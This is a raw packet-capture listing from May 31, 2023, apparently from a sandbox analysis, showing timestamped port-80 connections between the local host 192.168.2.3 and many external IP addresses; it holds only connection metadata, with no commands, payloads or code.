May 31, 2023 14:50:20.887303114 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.887326002 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.887334108 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.887334108 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.887356997 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.887370110 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.887404919 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.888294935 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.888322115 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.888339996 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.888359070 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.888371944 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.888385057 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.888398886 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.888412952 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.888439894 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.988169909 CEST	80	49845	72.44.93.236	192.168.2.3
May 31, 2023 14:50:20.988367081 CEST	49845	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:21.010832071 CEST	49845	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:21.030685902 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.030724049 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.030742884 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.030761957 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.030801058 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.030909061 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.030936003 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.031045914 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.031068087 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.031088114 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.031097889 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.031119108 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.031126022 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.031136990 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.031152964 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.031162977 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.031188011 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.032013893 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.032042980 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.032068968 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.032079935 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.032079935 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.032104015 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.032111883 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.032131910 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.032145977 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.032166958 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.032947063 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.032972097 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.032993078 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.033004045 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.033013105 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.033029079 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.033036947 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.033055067 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.033071995 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.033086061 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.033943892 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.033967972 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.033987045 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.034001112 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.034009933 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.034030914 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.034038067 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.034055948 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.034066916 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.034089088 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.034889936 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.034917116 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.034934998 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.034949064 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.034960032 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.034976959 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.034985065 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.035002947 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.035012007 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.035042048 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.035867929 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.035895109 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.035916090 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.035927057 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.035932064 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.035950899 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.035967112 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.035980940 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.035994053 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.036015987 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.036921024 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.036945105 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.036963940 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.036977053 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.036987066 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.037003040 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.037010908 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.037046909 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.056372881 CEST	49844	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:21.056852102 CEST	49842	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:21.079539061 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.079577923 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.079596043 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.079615116 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.079634905 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.079788923 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.079823971 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.079884052 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.079899073 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.079926014 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.079963923 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.100526094 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.100573063 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.100663900 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.100682974 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.100702047 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.100712061 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.100728989 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.100739002 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.100755930 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.100764990 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.100781918 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.100791931 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.100815058 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.107743025 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.107773066 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.107791901 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.107810974 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.107830048 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.107887030 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.107913017 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.108115911 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.108139992 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.108159065 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.108176947 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.108186960 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.108205080 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.108217955 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.108839989 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:21.108910084 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:21.138237953 CEST	80	49845	72.44.93.236	192.168.2.3
May 31, 2023 14:50:21.160090923 CEST	80	49844	208.97.178.138	192.168.2.3
May 31, 2023 14:50:21.190507889 CEST	80	49845	72.44.93.236	192.168.2.3
May 31, 2023 14:50:21.190656900 CEST	49845	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:21.195770025 CEST	80	49845	72.44.93.236	192.168.2.3
May 31, 2023 14:50:21.195894003 CEST	49845	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:21.206408024 CEST	80	49842	104.196.26.65	192.168.2.3
May 31, 2023 14:50:21.207855940 CEST	80	49842	104.196.26.65	192.168.2.3
May 31, 2023 14:50:21.207947016 CEST	49842	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:21.798420906 CEST	49846	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:21.806696892 CEST	49847	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:21.882180929 CEST	49830	80	192.168.2.3	39.99.233.155
May 31, 2023 14:50:21.933037043 CEST	80	49846	208.97.178.138	192.168.2.3
May 31, 2023 14:50:21.933243036 CEST	49846	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:21.977268934 CEST	49846	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:21.987786055 CEST	80	49847	208.109.214.162	192.168.2.3
May 31, 2023 14:50:21.987981081 CEST	49847	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:21.993730068 CEST	49847	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:22.111900091 CEST	80	49846	208.97.178.138	192.168.2.3
May 31, 2023 14:50:22.112787008 CEST	80	49846	208.97.178.138	192.168.2.3
May 31, 2023 14:50:22.112885952 CEST	49846	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:22.113466978 CEST	80	49846	208.97.178.138	192.168.2.3
May 31, 2023 14:50:22.113914013 CEST	49846	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:22.174400091 CEST	80	49847	208.109.214.162	192.168.2.3
May 31, 2023 14:50:22.174860954 CEST	80	49847	208.109.214.162	192.168.2.3
May 31, 2023 14:50:22.174997091 CEST	49847	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:22.699194908 CEST	80	49817	185.80.51.179	192.168.2.3
May 31, 2023 14:50:22.699379921 CEST	49817	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:22.796215057 CEST	49848	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:22.797139883 CEST	49846	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:22.817107916 CEST	80	49848	3.65.101.129	192.168.2.3
May 31, 2023 14:50:22.817208052 CEST	49848	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:22.893448114 CEST	49848	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:22.894646883 CEST	49849	80	192.168.2.3	18.66.192.87
May 31, 2023 14:50:22.909214973 CEST	80	49849	18.66.192.87	192.168.2.3
May 31, 2023 14:50:22.909415007 CEST	49849	80	192.168.2.3	18.66.192.87
May 31, 2023 14:50:22.913355112 CEST	80	49848	3.65.101.129	192.168.2.3
May 31, 2023 14:50:22.914604902 CEST	80	49848	3.65.101.129	192.168.2.3
May 31, 2023 14:50:22.914767981 CEST	49848	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:22.931626081 CEST	80	49846	208.97.178.138	192.168.2.3
May 31, 2023 14:50:22.968455076 CEST	49849	80	192.168.2.3	18.66.192.87
May 31, 2023 14:50:22.969664097 CEST	49850	80	192.168.2.3	147.154.0.23
May 31, 2023 14:50:22.969887972 CEST	49851	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:22.983169079 CEST	80	49849	18.66.192.87	192.168.2.3
May 31, 2023 14:50:22.983366966 CEST	80	49849	18.66.192.87	192.168.2.3
May 31, 2023 14:50:22.983467102 CEST	49849	80	192.168.2.3	18.66.192.87
May 31, 2023 14:50:22.986459970 CEST	49852	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:23.001815081 CEST	80	49851	213.186.33.40	192.168.2.3
May 31, 2023 14:50:23.001980066 CEST	49851	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:23.046672106 CEST	80	49820	217.19.237.54	192.168.2.3
May 31, 2023 14:50:23.046808958 CEST	49820	80	192.168.2.3	217.19.237.54
May 31, 2023 14:50:23.074034929 CEST	49853	80	192.168.2.3	64.125.133.18
May 31, 2023 14:50:23.076868057 CEST	49854	80	192.168.2.3	172.67.72.98
May 31, 2023 14:50:23.079340935 CEST	80	49850	147.154.0.23	192.168.2.3
May 31, 2023 14:50:23.079416037 CEST	49850	80	192.168.2.3	147.154.0.23
May 31, 2023 14:50:23.090274096 CEST	49847	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:23.090389013 CEST	49848	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:23.090926886 CEST	49851	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:23.091475010 CEST	49850	80	192.168.2.3	147.154.0.23
May 31, 2023 14:50:23.093353033 CEST	80	49854	172.67.72.98	192.168.2.3
May 31, 2023 14:50:23.093434095 CEST	49854	80	192.168.2.3	172.67.72.98
May 31, 2023 14:50:23.093780994 CEST	49854	80	192.168.2.3	172.67.72.98
May 31, 2023 14:50:23.094847918 CEST	80	49813	69.163.239.62	192.168.2.3
May 31, 2023 14:50:23.094902039 CEST	49813	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:23.100048065 CEST	49849	80	192.168.2.3	18.66.192.87
May 31, 2023 14:50:23.110189915 CEST	80	49854	172.67.72.98	192.168.2.3
May 31, 2023 14:50:23.110927105 CEST	80	49848	3.65.101.129	192.168.2.3
May 31, 2023 14:50:23.111031055 CEST	49848	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:23.112174034 CEST	49848	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:23.114800930 CEST	80	49849	18.66.192.87	192.168.2.3
May 31, 2023 14:50:23.114958048 CEST	49849	80	192.168.2.3	18.66.192.87
May 31, 2023 14:50:23.124114990 CEST	80	49851	213.186.33.40	192.168.2.3
May 31, 2023 14:50:23.124209881 CEST	49851	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:23.132435083 CEST	80	49848	3.65.101.129	192.168.2.3
May 31, 2023 14:50:23.132529020 CEST	49848	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:23.135510921 CEST	80	49852	104.196.26.65	192.168.2.3
May 31, 2023 14:50:23.135627985 CEST	49852	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:23.152053118 CEST	49852	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:23.182532072 CEST	49848	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:23.189028978 CEST	49851	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:23.189243078 CEST	49855	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:23.201144934 CEST	80	49850	147.154.0.23	192.168.2.3
May 31, 2023 14:50:23.203080893 CEST	80	49848	3.65.101.129	192.168.2.3
May 31, 2023 14:50:23.203227043 CEST	49848	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:23.205719948 CEST	80	49855	188.114.96.7	192.168.2.3
May 31, 2023 14:50:23.205835104 CEST	49855	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:23.206310034 CEST	49855	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:23.208462954 CEST	49848	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:23.214787960 CEST	80	49850	147.154.0.23	192.168.2.3
May 31, 2023 14:50:23.214859009 CEST	49850	80	192.168.2.3	147.154.0.23
May 31, 2023 14:50:23.215045929 CEST	80	49850	147.154.0.23	192.168.2.3
May 31, 2023 14:50:23.215102911 CEST	49850	80	192.168.2.3	147.154.0.23
May 31, 2023 14:50:23.222316027 CEST	80	49851	213.186.33.40	192.168.2.3
May 31, 2023 14:50:23.222403049 CEST	49851	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:23.222619057 CEST	80	49855	188.114.96.7	192.168.2.3
May 31, 2023 14:50:23.228831053 CEST	80	49848	3.65.101.129	192.168.2.3
May 31, 2023 14:50:23.228904009 CEST	49848	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:23.234023094 CEST	80	49810	60.43.154.138	192.168.2.3
May 31, 2023 14:50:23.234108925 CEST	49810	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:23.235181093 CEST	80	49855	188.114.96.7	192.168.2.3
May 31, 2023 14:50:23.235286951 CEST	49855	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:23.271579981 CEST	80	49847	208.109.214.162	192.168.2.3
May 31, 2023 14:50:23.271723032 CEST	49847	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:23.301146984 CEST	80	49852	104.196.26.65	192.168.2.3
May 31, 2023 14:50:23.301842928 CEST	80	49852	104.196.26.65	192.168.2.3
May 31, 2023 14:50:23.301939964 CEST	49852	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:23.326795101 CEST	49852	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:23.406287909 CEST	49855	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:23.428255081 CEST	80	49855	188.114.96.7	192.168.2.3
May 31, 2023 14:50:23.428411007 CEST	49855	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:23.430787086 CEST	49856	80	192.168.2.3	198.100.146.220
May 31, 2023 14:50:23.476061106 CEST	80	49852	104.196.26.65	192.168.2.3
May 31, 2023 14:50:23.476442099 CEST	80	49852	104.196.26.65	192.168.2.3
May 31, 2023 14:50:23.476552963 CEST	49852	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:23.521492004 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:23.555471897 CEST	80	49819	108.167.164.216	192.168.2.3
May 31, 2023 14:50:23.555552959 CEST	49819	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:23.563502073 CEST	80	49854	172.67.72.98	192.168.2.3
May 31, 2023 14:50:23.563528061 CEST	80	49854	172.67.72.98	192.168.2.3
May 31, 2023 14:50:23.563560963 CEST	49854	80	192.168.2.3	172.67.72.98
May 31, 2023 14:50:23.563584089 CEST	49854	80	192.168.2.3	172.67.72.98
May 31, 2023 14:50:23.635950089 CEST	49854	80	192.168.2.3	172.67.72.98
May 31, 2023 14:50:23.647294044 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:23.647418022 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:23.652331114 CEST	80	49854	172.67.72.98	192.168.2.3
May 31, 2023 14:50:23.674738884 CEST	49775	80	192.168.2.3	137.118.26.67
May 31, 2023 14:50:23.676332951 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:23.676333904 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:23.677403927 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:23.691416979 CEST	49859	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:23.711229086 CEST	80	49859	3.65.101.129	192.168.2.3
May 31, 2023 14:50:23.711359978 CEST	49859	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:23.712050915 CEST	49859	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:23.731748104 CEST	80	49859	3.65.101.129	192.168.2.3
May 31, 2023 14:50:23.732903957 CEST	80	49859	3.65.101.129	192.168.2.3
May 31, 2023 14:50:23.733031034 CEST	49859	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:23.736311913 CEST	49859	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:23.756639957 CEST	80	49859	3.65.101.129	192.168.2.3
May 31, 2023 14:50:23.756752968 CEST	49859	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:23.760442019 CEST	49859	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:23.780811071 CEST	80	49859	3.65.101.129	192.168.2.3
May 31, 2023 14:50:23.780917883 CEST	49859	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:23.782270908 CEST	49859	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:23.794079065 CEST	49860	80	192.168.2.3	162.43.120.128
May 31, 2023 14:50:23.802130938 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:23.802170992 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:23.802211046 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:23.802578926 CEST	80	49859	3.65.101.129	192.168.2.3
May 31, 2023 14:50:23.802656889 CEST	49859	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:23.804436922 CEST	49859	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:23.821286917 CEST	80	49854	172.67.72.98	192.168.2.3
May 31, 2023 14:50:23.821373940 CEST	80	49854	172.67.72.98	192.168.2.3
May 31, 2023 14:50:23.821425915 CEST	49854	80	192.168.2.3	172.67.72.98
May 31, 2023 14:50:23.821470976 CEST	49854	80	192.168.2.3	172.67.72.98
May 31, 2023 14:50:23.824671984 CEST	80	49859	3.65.101.129	192.168.2.3
May 31, 2023 14:50:23.824791908 CEST	49859	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:23.873544931 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:23.873688936 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:23.877962112 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.021539927 CEST	80	49834	188.166.152.188	192.168.2.3
May 31, 2023 14:50:24.021919012 CEST	49834	80	192.168.2.3	188.166.152.188
May 31, 2023 14:50:24.066689968 CEST	80	49860	162.43.120.128	192.168.2.3
May 31, 2023 14:50:24.067539930 CEST	49860	80	192.168.2.3	162.43.120.128
May 31, 2023 14:50:24.076158047 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.076210976 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.076256037 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.076266050 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.076266050 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.076330900 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.076333046 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.076390028 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.077476025 CEST	49860	80	192.168.2.3	162.43.120.128
May 31, 2023 14:50:24.104300022 CEST	49861	80	192.168.2.3	210.140.73.39
May 31, 2023 14:50:24.105093956 CEST	80	49828	96.127.180.42	192.168.2.3
May 31, 2023 14:50:24.105180979 CEST	49828	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:24.108541965 CEST	80	49829	72.44.93.236	192.168.2.3
May 31, 2023 14:50:24.109606028 CEST	49829	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:24.272615910 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.272676945 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.272753000 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.272799015 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.272802114 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.272844076 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.272855997 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.272855997 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.272890091 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.272938013 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.272948027 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.272993088 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.273055077 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.350017071 CEST	80	49860	162.43.120.128	192.168.2.3
May 31, 2023 14:50:24.350872993 CEST	80	49860	162.43.120.128	192.168.2.3
May 31, 2023 14:50:24.350944996 CEST	49860	80	192.168.2.3	162.43.120.128
May 31, 2023 14:50:24.377079964 CEST	49860	80	192.168.2.3	162.43.120.128
May 31, 2023 14:50:24.392374039 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.392422915 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.392499924 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.392534018 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.392549038 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.392580032 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.392595053 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.392599106 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.392642021 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.392688036 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.392690897 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.392733097 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.392735004 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.392780066 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.392788887 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.392826080 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.392836094 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.392877102 CEST	49857	80	192.168.2.3	74.208.236.101
